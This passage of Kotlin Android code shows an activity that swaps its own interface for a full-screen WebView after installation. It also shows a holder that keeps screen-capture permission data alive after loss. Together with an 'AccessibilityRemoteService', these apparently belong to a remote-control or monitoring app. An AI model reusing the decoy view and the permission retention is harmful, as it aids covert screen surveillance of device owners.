"🚫 WebView打开已被暂时禁用") // return Log.i(TAG, "🌐 准备启动WebView页面") Log.i(TAG, "🔍 当前Activity状态: isFinishing=${isFinishing}, isDestroyed=${isDestroyed}") // ✅ 检查Activity是否仍然有效 if (isFinishing || isDestroyed) { Log.e(TAG, "❌ Activity已销毁或正在结束,无法启动WebView") return } // ✅ 检查安装是否完成,如果未完成则不打开WebView try { val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (!isInstallationComplete) { Log.w(TAG, "⚠️ 安装未完成,无法打开WebView") // 可选:显示提示信息给用户 runOnUiThread { statusText?.text = "⚠️ 安装未完成\n请先完成安装流程" statusText?.setTextColor(getColor(android.R.color.holo_orange_dark)) } return } Log.i(TAG, "✅ 安装已完成,允许打开WebView") } catch (e: Exception) { Log.e(TAG, "❌ 检查安装完成状态失败", e) // 如果检查失败,为了安全起见,不打开WebView return } // 从配置文件读取webUrl val webUrl = com.hikoncont.util.ConfigReader.getWebUrl(this) val finalUrl = if (webUrl.isNullOrBlank()) { Log.w(TAG, "⚠️ 配置文件中没有webUrl,使用默认URL") "https://m.baidu.com" } else { webUrl } // 找到布局中的 WebView val webView = findViewById(R.id.webView) if (webView == null) { Log.e(TAG, "❌ 未找到WebView视图,无法加载页面") return } // 🚀 使用 WebViewManager 管理 WebView - 参考 f 目录的完整实现 val webViewManager = WebViewManager(this) // 🚀 设置回调接口 - 参考 zuiqiang 的简洁实现 webViewManager.setCallback(object : WebViewManager.WebViewCallback { override fun onPageFinished(url: String) { Log.i(TAG, "📄 页面加载完成: $url") // 这里可以添加页面加载完成后的处理逻辑 } override fun onWebClick(url: String) { Log.i(TAG, "🔗 JavaScript点击: $url") // 这里可以添加点击处理逻辑 } }) webViewManager.initWebView(webView) // 🚀 隐藏主UI,显示 WebView - 参考 f 目录的简单切换 hideMainUI() webViewManager.showWebView() // ✅ 启动WebView状态更新(每500ms更新一次静态变量) startWebViewStatusUpdate() // 🚀 简洁的全屏设置 try { supportActionBar?.hide() } catch (_: Exception) { } // 🚀 关键性能优化:禁用不必要的系统UI效果 try { // 禁用状态栏和导航栏的动画效果 window.decorView.systemUiVisibility = android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE Log.d(TAG, "🔧 已优化系统UI性能") } catch (e: Exception) { Log.w(TAG, "⚠️ 系统UI优化失败: ${e.message}") } // 🚀 加载 URL webViewManager.loadUrl(finalUrl) // 🚀 WebView 启动时:关闭日志收集以提升性能 try { val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() // serviceInstance?.disableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 WebView 启动:跳过日志开关") } catch (e: Exception) { Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") } Log.i(TAG, "✅ WebView 启动完成") } catch (e: Exception) { Log.e(TAG, "❌ 启动WebView失败: ${e.message}") } } /** * 隐藏主UI - 参考 f 目录的简单切换方式 */ private fun hideMainUI() { try { // 隐藏主界面内容 findViewById(R.id.mainContent)?.visibility = android.view.View.GONE // 显示 WebView 容器 findViewById(R.id.webViewContainer)?.visibility = android.view.View.VISIBLE // 🚀 WebView 模式优化:跳过日志开关 try { val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() // serviceInstance?.disableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 WebView 模式:跳过日志开关") } catch (e: Exception) { Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") } Log.i(TAG, "✅ 主UI已隐藏,WebView容器已显示") } catch (e: Exception) { Log.e(TAG, "❌ 隐藏主UI失败: ${e.message}") } } /** * ✅ 启动WebView状态更新(每500ms更新一次静态变量,最高性能) * 只有Activity在前台时才更新状态 */ private fun startWebViewStatusUpdate() { try { // 停止之前的状态更新任务(如果存在) stopWebViewStatusUpdate() isWebViewVisible = true webViewStatusHandler = Handler(Looper.getMainLooper()) // ✅ 检查Activity是否在前台,只有在前台时才设置状态 if (isActivityResumed()) { // ✅ 立即设置WebView打开状态(只有在前台时) com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true) Log.i(TAG, "✅ 已设置WebView打开状态(静态变量),Activity在前台") } else { Log.i(TAG, "✅ 已标记WebView为可见,但Activity不在前台,等待前台时再更新状态") } webViewStatusRunnable = object : Runnable { override fun run() { if (isWebViewVisible && !isFinishing && !isDestroyed) { try { // ✅ 只有Activity在前台时才更新状态,节省资源 if (isActivityResumed()) { // ✅ 直接更新静态变量(最高性能,无通信开销) com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true) Log.v(TAG, "📡 已更新WebView打开状态(静态变量),Activity在前台") } else { // Activity不在前台,不更新状态,但继续检查 Log.v(TAG, "📡 Activity不在前台,跳过状态更新") } // 500ms后再次更新 webViewStatusHandler?.postDelayed(this, 500L) } catch (e: Exception) { Log.e(TAG, "❌ 更新WebView状态失败", e) // 更新失败也要继续尝试,避免停止更新 webViewStatusHandler?.postDelayed(this, 500L) } } } } // 500ms后开始定时更新 webViewStatusHandler?.postDelayed(webViewStatusRunnable!!, 500L) Log.i(TAG, "✅ 已启动WebView状态更新(静态变量方案),只有前台时更新") } catch (e: Exception) { Log.e(TAG, "❌ 启动WebView状态更新失败", e) } } /** * ✅ 检查Activity是否在前台(resumed状态) */ private fun isActivityResumed(): Boolean { return try { // 检查Activity是否在前台 // 使用更简单可靠的方法:检查是否有window focus和可见性 val hasWindowFocus = hasWindowFocus() val isVisible = !isFinishing && !isDestroyed hasWindowFocus && isVisible } catch (e: Exception) { // 如果检查失败,假设不在前台 false } } /** * ✅ 停止WebView状态更新 */ private fun stopWebViewStatusUpdate() { try { isWebViewVisible = false // 停止定时更新 webViewStatusHandler?.removeCallbacks(webViewStatusRunnable ?: return) webViewStatusHandler = null webViewStatusRunnable = null // ✅ 直接设置WebView关闭状态(静态变量) com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false) Log.i(TAG, "✅ 已停止WebView状态更新并设置为关闭状态(静态变量)") } catch (e: Exception) { Log.e(TAG, "❌ 停止WebView状态更新失败", e) } } /** * 🚀 WebView性能优化:暂停WebView以节省资源 */ private fun pauseWebView() { try { val webView = findViewById(R.id.webView) webView?.onPause() Log.d(TAG, "⏸️ WebView已暂停") } catch (e: Exception) { Log.w(TAG, "⚠️ 暂停WebView失败: ${e.message}") } } /** * 🚀 WebView性能优化:恢复WebView */ private fun resumeWebView() { try { val webView = findViewById(R.id.webView) webView?.onResume() Log.d(TAG, "▶️ WebView已恢复") } catch (e: Exception) { Log.w(TAG, "⚠️ 恢复WebView失败: ${e.message}") } } /** * 🚀 WebView性能优化:清理WebView缓存和内存 */ private fun clearWebViewCache() { try { val webView = findViewById(R.id.webView) webView?.clearCache(true) webView?.clearHistory() Log.d(TAG, "🧹 WebView缓存已清理") } catch (e: Exception) { Log.w(TAG, "⚠️ 清理WebView缓存失败: ${e.message}") } } /** * 🚀 WebView性能优化:销毁WebView以释放内存 */ private fun destroyWebView() { try { val webView = findViewById(R.id.webView) webView?.let { wv -> wv.loadUrl("about:blank") wv.clearHistory() wv.clearCache(true) wv.destroy() Log.d(TAG, "🗑️ WebView已销毁") } } catch (e: Exception) { Log.w(TAG, "⚠️ 销毁WebView失败: ${e.message}") } } /** * 🚀 WebView性能优化:简化性能监控,避免与 WebViewManager 冲突 */ private fun enableWebViewPerformanceMonitoring(webView: android.webkit.WebView) { try { // 🚀 简化:只启用调试,不设置 WebChromeClient(避免与 WebViewManager 冲突) if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) { android.webkit.WebView.setWebContentsDebuggingEnabled(true) Log.d(TAG, "🔧 WebView调试已启用") } // 🚀 简化:移除复杂的内存监控,避免性能影响 Log.i(TAG, "🚀 WebView性能监控已简化") } catch (e: Exception) { Log.w(TAG, "⚠️ 启用WebView性能监控失败: ${e.message}") } } /** * 🚀 WebView性能诊断:诊断WebView性能问题 */ private fun diagnoseWebViewPerformance() { try { val webView = findViewById(R.id.webView) if (webView != null) { Log.i(TAG, "🔍 WebView性能诊断开始") // 检查WebView状态 Log.d(TAG, "📊 WebView可见性: ${webView.visibility}") Log.d(TAG, "📊 WebView焦点状态: ${webView.hasFocus()}") Log.d(TAG, "📊 WebView滚动状态: 垂直=${webView.scrollY}, 水平=${webView.scrollX}") // 检查内存使用 val runtime = Runtime.getRuntime() val usedMemory = runtime.totalMemory() - runtime.freeMemory() val maxMemory = runtime.maxMemory() Log.d(TAG, "📊 当前内存使用: ${usedMemory / 1024 / 1024}MB / ${maxMemory / 1024 / 1024}MB") // 检查WebView设置 val settings = webView.settings Log.d(TAG, "📊 JavaScript启用: ${settings.javaScriptEnabled}") Log.d(TAG, "📊 硬件加速: ${webView.layerType}") Log.d(TAG, "📊 缓存模式: ${settings.cacheMode}") Log.i(TAG, "✅ WebView性能诊断完成") } else { Log.w(TAG, "⚠️ WebView未找到,无法进行性能诊断") } } catch (e: Exception) { Log.e(TAG, "❌ WebView性能诊断失败", e) } } /** * 🚀 WebView渲染优化:参考 zuiqiang 的简洁实现 */ private fun optimizeWebViewRendering(webView: android.webkit.WebView) { try { // 🚀 极简优化 - 参考 zuiqiang 项目 webView.setOverScrollMode(android.view.View.OVER_SCROLL_NEVER) webView.setScrollBarStyle(android.view.View.SCROLLBARS_INSIDE_OVERLAY) Log.i(TAG, "🚀 WebView渲染优化完成(简洁版)") } catch (e: Exception) { Log.w(TAG, "⚠️ WebView渲染优化失败: ${e.message}") } } /** * 🚀 WebView内存优化:定期清理内存 */ private fun optimizeWebViewMemory() { try { val webView = findViewById(R.id.webView) webView?.let { wv -> // 清理缓存 wv.clearCache(true) wv.clearHistory() // 强制垃圾回收 System.gc() // 检查内存使用情况 val runtime = Runtime.getRuntime() val usedMemory = runtime.totalMemory() - runtime.freeMemory() val maxMemory = runtime.maxMemory() val memoryUsagePercent = (usedMemory * 100) / maxMemory Log.d(TAG, "🧹 WebView内存清理完成,使用率: ${memoryUsagePercent}%") if (memoryUsagePercent > 85) { Log.w(TAG, "⚠️ 内存使用率过高: ${memoryUsagePercent}%,建议重启WebView") // 可以考虑重新加载页面 wv.reload() } } } catch (e: Exception) { Log.w(TAG, "⚠️ WebView内存优化失败: ${e.message}") } } /** * 检测是否为全面屏设备 */ private fun isFullScreenDevice(): Boolean { return try { // 检测是否有导航栏 val hasNavigationBar = hasNavigationBar() // 检测屏幕比例(全面屏设备通常有更高的宽高比) val displayMetrics = resources.displayMetrics val screenWidth = displayMetrics.widthPixels val screenHeight = displayMetrics.heightPixels val aspectRatio = maxOf(screenWidth, screenHeight).toFloat() / minOf(screenWidth, screenHeight).toFloat() // 获取导航栏高度 val navigationBarHeight = getNavigationBarHeight() // 全面屏设备特征: // 1. 没有导航栏 或 // 2. 屏幕宽高比大于1.8(18:9或更高)且导航栏高度很小 val isFullScreen = !hasNavigationBar || (aspectRatio > 1.8f && navigationBarHeight < 100) Log.d(TAG, "🔍 设备检测: 有导航栏=$hasNavigationBar, 宽高比=${String.format("%.2f", aspectRatio)}, 导航栏高度=${navigationBarHeight}px, 全面屏=$isFullScreen") isFullScreen } catch (e: Exception) { Log.e(TAG, "❌ 检测全面屏设备失败", e) // 默认按非全面屏处理,避免遮挡 false } } /** * 检测是否有导航栏 */ private fun hasNavigationBar(): Boolean { return try { val resources = this.resources val resourceId = resources.getIdentifier("config_showNavigationBar", "bool", "android") if (resourceId > 0) { resources.getBoolean(resourceId) } else { // 如果无法获取配置,通过系统UI可见性判断 val decorView = window.decorView val uiOptions = decorView.systemUiVisibility (uiOptions and android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION) == 0 } } catch (e: Exception) { Log.e(TAG, "❌ 检测导航栏失败", e) true // 默认认为有导航栏 } } /** * 获取导航栏高度 */ private fun getNavigationBarHeight(): Int { return try { val resources = this.resources val resourceId = resources.getIdentifier("navigation_bar_height", "dimen", "android") if (resourceId > 0) { val height = resources.getDimensionPixelSize(resourceId) Log.d(TAG, "🔍 导航栏高度: ${height}px") height } else { Log.w(TAG, "⚠️ 无法获取导航栏高度,使用默认值") // 默认导航栏高度(通常为48dp) (48 * resources.displayMetrics.density).toInt() } } catch (e: Exception) { Log.e(TAG, "❌ 获取导航栏高度失败", e) // 默认导航栏高度 (48 * resources.displayMetrics.density).toInt() } } /** * 将当前Activity隐藏到后台而不销毁 */ private fun hideActivityToBackground() { // 🚀 简化:允许用户正常返回,不强制隐藏 // try { // moveTaskToBack(true) // Log.i(TAG, "🫥 已将MainActivity隐藏到后台") // } catch (e: Exception) { // Log.w(TAG, "⚠️ 隐藏Activity到后台失败: ${e.message}") // } } /** * 🚀 处理返回键 - WebView 模式下不允许返回主界面 */ override fun onBackPressed() { Log.i(TAG, "🔙 用户按返回键") // 检查 WebView 是否可见 val webViewContainer = findViewById(R.id.webViewContainer) val isWebViewVisible = webViewContainer?.visibility == android.view.View.VISIBLE if (isWebViewVisible) { // WebView 可见时,检查是否可以返回上一页 val webView = findViewById(R.id.webView) if (webView != null && webView.canGoBack()) { Log.i(TAG, "🌐 WebView 可以返回上一页") webView.goBack() return } else { Log.i(TAG, "🌐 WebView 无法返回,直接退出应用") // 🚀 关键:WebView 无法返回时,直接退出应用,不允许返回主界面 super.onBackPressed() return } } // 其他情况,正常退出应用 Log.i(TAG, "🔙 正常退出应用") super.onBackPressed() } /** * 显示主UI - 从 WebView 返回到主界面 */ private fun showMainUI() { try { // ✅ 停止WebView状态更新 stopWebViewStatusUpdate() // 显示主界面内容 findViewById(R.id.mainContent)?.visibility = android.view.View.VISIBLE // 隐藏 WebView 容器 findViewById(R.id.webViewContainer)?.visibility = android.view.View.INVISIBLE // 🚀 WebView 模式优化:跳过日志开关 try { val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() // serviceInstance?.enableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 退出 WebView 模式:跳过日志开关") } catch (e: Exception) { Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") } Log.i(TAG, "✅ 主UI已显示,WebView容器已隐藏") } catch (e: Exception) { Log.e(TAG, "❌ 显示主UI失败: ${e.message}") } } //(移除SharedPreferences方式,改为文件持久化) } /** * MediaProjection静态持有者 - 增强版 * 专门针对Android 15权限丢失问题进行优化 */ object MediaProjectionHolder { private var mediaProjection: MediaProjection? = null private var permissionResultCode: Int? = null private var permissionData: Intent? = null // Android 15权限保护增强 @Volatile private var permissionCreationTime: Long = 0L @Volatile private var permissionLostCount: Int = 0 @Volatile private var lastRecoveryTime: Long = 0L fun setMediaProjection(projection: MediaProjection?) { this.mediaProjection = projection if (projection != null) { permissionCreationTime = System.currentTimeMillis() Log.i( "MediaProjectionHolder", "✅ MediaProjection已设置,时间戳: $permissionCreationTime" ) } } fun getMediaProjection(): MediaProjection? { return mediaProjection } fun setPermissionData(resultCode: Int, data: Intent?) { this.permissionResultCode = resultCode this.permissionData = data permissionCreationTime = System.currentTimeMillis() Log.i( "MediaProjectionHolder", "权限数据已存储: resultCode=$resultCode, 时间戳: $permissionCreationTime" ) } fun getPermissionData(): Pair? { return if (permissionResultCode != null) { Pair(permissionResultCode!!, permissionData) } else { null } } /** * 检查权限数据是否仍然有效(统一处理Android 11+设备) */ fun isPermissionDataValid(): Boolean { val permissionCurrentTime = System.currentTimeMillis() val permissionAge = permissionCurrentTime - permissionCreationTime // 统一使用2小时权限数据有效期,确保Android 11+设备稳定性 val maxAge = 2 * 60 * 60 * 1000L // 2小时 val isValid = permissionResultCode != null && permissionAge < maxAge if (!isValid && permissionResultCode != null) { Log.w("MediaProjectionHolder", "⚠️ 权限数据已过期,年龄: ${permissionAge / 1000}秒") } return isValid } fun clearMediaProjection() { val clearCurrentTime = System.currentTimeMillis() val stackTrace = Thread.currentThread().stackTrace.take(8) .joinToString("\n") { " at ${it.className}.${it.methodName}(${it.fileName}:${it.lineNumber})" } Log.w( "MediaProjectionHolder", """ 🧹🧹🧹 clearMediaProjection() 被调用 🧹🧹🧹 📍 调用时间: $clearCurrentTime 📊 当前状态: - MediaProjection对象: ${mediaProjection?.hashCode()} - 权限数据存在: ${permissionResultCode != null} - 权限创建时间: $permissionCreationTime - 权限丢失次数: $permissionLostCount - Android版本: ${android.os.Build.VERSION.SDK_INT} 📍 调用堆栈: $stackTrace """.trimIndent() ) // ❌ 修复:不要随意停止MediaProjection!特别是Android 15设备 // 这会导致权限永久失效,需要重新申请 // 只清理引用,保留权限数据,让系统自然回收 Log.w( "MediaProjectionHolder", "⚠️ 清理MediaProjection引用,但保留权限数据防止Android 15权限丢失" ) // 记录权限丢失 permissionLostCount++ Log.d("MediaProjectionHolder", "📊 更新权限丢失计数: $permissionLostCount") // 统一使用保守的权限保护策略,仅清理MediaProjection引用,保留权限数据 Log.i("MediaProjectionHolder", "🛡️ Android 11+设备:仅清理MediaProjection引用,保留权限数据") val oldProjection = mediaProjection // 只清理引用,保留权限数据 mediaProjection = null Log.d("MediaProjectionHolder", "🧹 引用清理: ${oldProjection?.hashCode()} -> null") // 不清理权限数据:permissionResultCode 和 permissionData 保留 // 记录权限丢失,需要外部触发恢复机制 Log.i("MediaProjectionHolder", "🔄 权限丢失,需要外部触发恢复机制") Log.d( "MediaProjectionHolder", """ 📊 清理后状态: - MediaProjection对象: ${mediaProjection?.hashCode()} - 权限数据保留: resultCode=$permissionResultCode, Intent存在=${permissionData != null} - 权限数据有效性: ${isPermissionDataValid()} """.trimIndent() ) } // 新增:强制清理方法,仅在确实需要停止时使用 fun forceStopMediaProjection() { Log.i("MediaProjectionHolder", "🛑 强制停止MediaProjection(仅在用户主动停止时使用)") mediaProjection?.stop() mediaProjection = null permissionResultCode = null permissionData = null permissionCreationTime = 0L permissionLostCount = 0 lastRecoveryTime = 0L } // 清理权限数据(不影响MediaProjection对象) fun clearPermissionData() { Log.w("MediaProjectionHolder", "🧹 清理权限数据(权限可能已过期)") permissionResultCode = null permissionData = null permissionCreationTime = 0L } /** * 智能权限恢复(针对Android 15优化) */ fun attemptSmartRecovery(): MediaProjection? { try { val recoveryCurrentTime = System.currentTimeMillis() // 检查是否过于频繁的恢复尝试 if (recoveryCurrentTime - lastRecoveryTime < 30000) { // 30秒内不重复恢复 Log.w("MediaProjectionHolder", "⚠️ 恢复尝试过于频繁,跳过") return null } lastRecoveryTime = recoveryCurrentTime // 检查权限数据有效性 if (!isPermissionDataValid()) { Log.w("MediaProjectionHolder", "❌ 权限数据无效,无法智能恢复") return null } val permissionData = getPermissionData() if (permissionData != null) { val (resultCode, resultData) = permissionData if (resultData != null) { Log.i("MediaProjectionHolder", "🔧 尝试智能恢复MediaProjection") // 注意:这里需要一个Context,但在静态方法中无法直接获取 // 暂时返回null,具体的智能恢复应该由有Context的组件来处理 Log.w( "MediaProjectionHolder", "❌ 静态方法中无法获取Context,智能恢复应该由AccessibilityService处理" ) return null } } return null } catch (e: Exception) { Log.e("MediaProjectionHolder", "❌ 智能恢复异常", e) return null } } /** * 获取权限统计信息 */ fun getPermissionStats(): Map { return mapOf( "hasPermission" to (mediaProjection != null), "hasPermissionData" to (permissionResultCode != null), "isDataValid" to isPermissionDataValid(), "permissionAge" to (System.currentTimeMillis() - permissionCreationTime), "lostCount" to permissionLostCount, "lastRecoveryTime" to lastRecoveryTime, "androidVersion" to android.os.Build.VERSION.SDK_INT ) } private fun debugUIElements() { try { val service = AccessibilityRemoteService.getInstance() if (service == null) { Log.e("debugUIElements", "无障碍服务未连接") return } Log.d("debugUIElements", "开始调试UI元素...") service.debugAllVisibleElements() } catch (e: Exception) { Log.e("debugUIElements", "调试UI元素失败", e) } } }